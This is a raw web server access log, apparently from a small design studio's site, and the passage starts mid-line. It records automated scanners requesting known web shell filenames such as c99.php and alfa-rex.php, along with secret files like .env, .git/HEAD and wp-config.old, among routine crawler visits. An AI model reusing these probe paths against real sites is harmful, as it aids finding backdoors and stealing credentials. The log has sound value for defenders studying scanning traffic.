/gebase.php69 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:55 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:57 -0400] "GET /getid3-core.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:59 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:03 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:06 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:11 -0400] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:16 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:22 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:25 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:28 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:31 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:34 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:38 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:40 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:44 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:48 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:48 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:50 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:51 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:53 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:55 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:56 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:11:58 -0400] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:00 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:03 -0400] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:05 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:07 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:10 -0400] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:11 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:13 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:15 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:18 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:20 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:22 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:25 -0400] "GET /Js.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:27 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:31 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:35 -0400] "GET /NFXxUAA.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:40 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:44 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:50 -0400] "GET /OK.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:12:56 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:02 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:07 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:13 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:17 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:21 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:25 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:28 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:31 -0400] "GET /add_actualites.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:33 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:35 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:38 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:40 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:41 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:44 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:45 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:47 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:48 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:50 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:53 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:56 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:13:59 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:02 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:06 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:10 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:14 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:17 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:21 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:24 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:26 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:29 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:34 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:35 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:38 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:41 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:45 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:48 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:52 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:14:56 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:00 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:03 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:09 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:17 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:25 -0400] "GET /class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:30 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:35 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:41 -0400] "GET /class-walker-category-dropdown-class.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:44 -0400] "GET /class-walker-comment-beta.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:15:49 -0400] "GET /class-wp-cmd.php HTTP/1.1" 301 795 "-" "-" 66.249.79.96 - - [21/Apr/2025:09:27:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [21/Apr/2025:09:27:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.95 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 193.56.113.22 - - [21/Apr/2025:09:30:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:10:57 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:01 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:05 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:08 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:11 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:17 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:21 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:24 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:28 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:10:11:31 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2a01:239:279:8600::1 - - [21/Apr/2025:10:12:11 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 2a01:239:279:8600::1 - - [21/Apr/2025:10:12:14 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 2a01:239:279:8600::1 - - [21/Apr/2025:10:12:19 -0400] "GET /sendgrid/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 2a01:239:279:8600::1 - - [21/Apr/2025:10:12:22 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.249.79.100 - - [21/Apr/2025:10:56:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.102 - - [21/Apr/2025:10:56:53 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 34.116.185.8 - - [21/Apr/2025:11:13:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone13,2; U; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.1" 54.236.1.11 - - [21/Apr/2025:11:16:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 154.83.103.108 - - [21/Apr/2025:11:25:02 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.108 - - [21/Apr/2025:11:25:07 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.61.146.184 - - [21/Apr/2025:11:54:24 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:54:40 -0400] "GET /js/vendor/modernizr-2.8.3.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:55:45 -0400] "GET /js/vendor/jquery-1.12.4.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:56:13 -0400] "GET /js/bootstrap.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:56:21 -0400] "GET /js/owl.carousel.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:56:32 -0400] "GET /js/jquery.counterup.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:56:59 -0400] "GET /js/waypoints.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:57:11 -0400] "GET /js/isotope.pkgd.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:57:22 -0400] "GET /js/jquery.stellar.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:57:56 -0400] "GET /js/magnific.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:58:07 -0400] "GET /js/venobox.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:58:17 -0400] "GET /js/jquery.meanmenu.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:58:48 -0400] "GET /js/form-validator.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:58:57 -0400] "GET /js/plugins.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:59:47 -0400] "GET /js/main.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:11:59:58 -0400] "GET /js/jquery.validate.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:12:00:24 -0400] "GET /js/additional-methods.min.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 45.61.146.184 - - [21/Apr/2025:12:00:45 -0400] "GET /js/custom.js HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 156.228.101.211 - - [21/Apr/2025:12:10:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 109.248.15.135 - - [21/Apr/2025:12:20:47 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 173.244.42.170 - - [21/Apr/2025:13:11:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 170.106.35.187 - - [21/Apr/2025:13:15:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.83.103.210 - - [21/Apr/2025:13:25:04 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.210 - - [21/Apr/2025:13:25:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 23.27.110.54 - - [21/Apr/2025:13:45:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 2602:fb54:9bb:: - - [21/Apr/2025:16:19:37 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 54.188.5.101 - - [21/Apr/2025:16:28:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 43.130.37.243 - - [21/Apr/2025:16:29:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 50.87.249.17 - - [21/Apr/2025:16:31:39 -0400] "GET /wp-config.old HTTP/1.1" 301 795 "-" "-" 154.83.103.108 - - [21/Apr/2025:16:35:11 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.108 - - [21/Apr/2025:16:35:21 -0400] "GET /.circleci/configs/development.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 154.83.103.115 - - [21/Apr/2025:16:39:02 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.115 - - [21/Apr/2025:16:39:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 180.102.134.69 - - [21/Apr/2025:16:51:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.171.155.4 - - [21/Apr/2025:17:23:02 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 128.199.116.73 - - [21/Apr/2025:17:43:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 143.198.155.116 - - [21/Apr/2025:17:51:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 128.199.116.73 - - [21/Apr/2025:17:55:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:39 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:40 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:40 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:41 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:41 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:41 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:41 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:42 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:42 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [21/Apr/2025:18:02:42 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.167.144.59 - - [21/Apr/2025:18:09:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 40.77.167.13 - - [21/Apr/2025:18:09:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 13.90.215.200 - - [21/Apr/2025:18:15:22 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:23 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:23 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:23 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:24 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:24 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:24 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:25 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:25 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:25 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:26 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:26 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:26 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:27 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:27 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:27 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:28 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:28 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:28 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:29 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 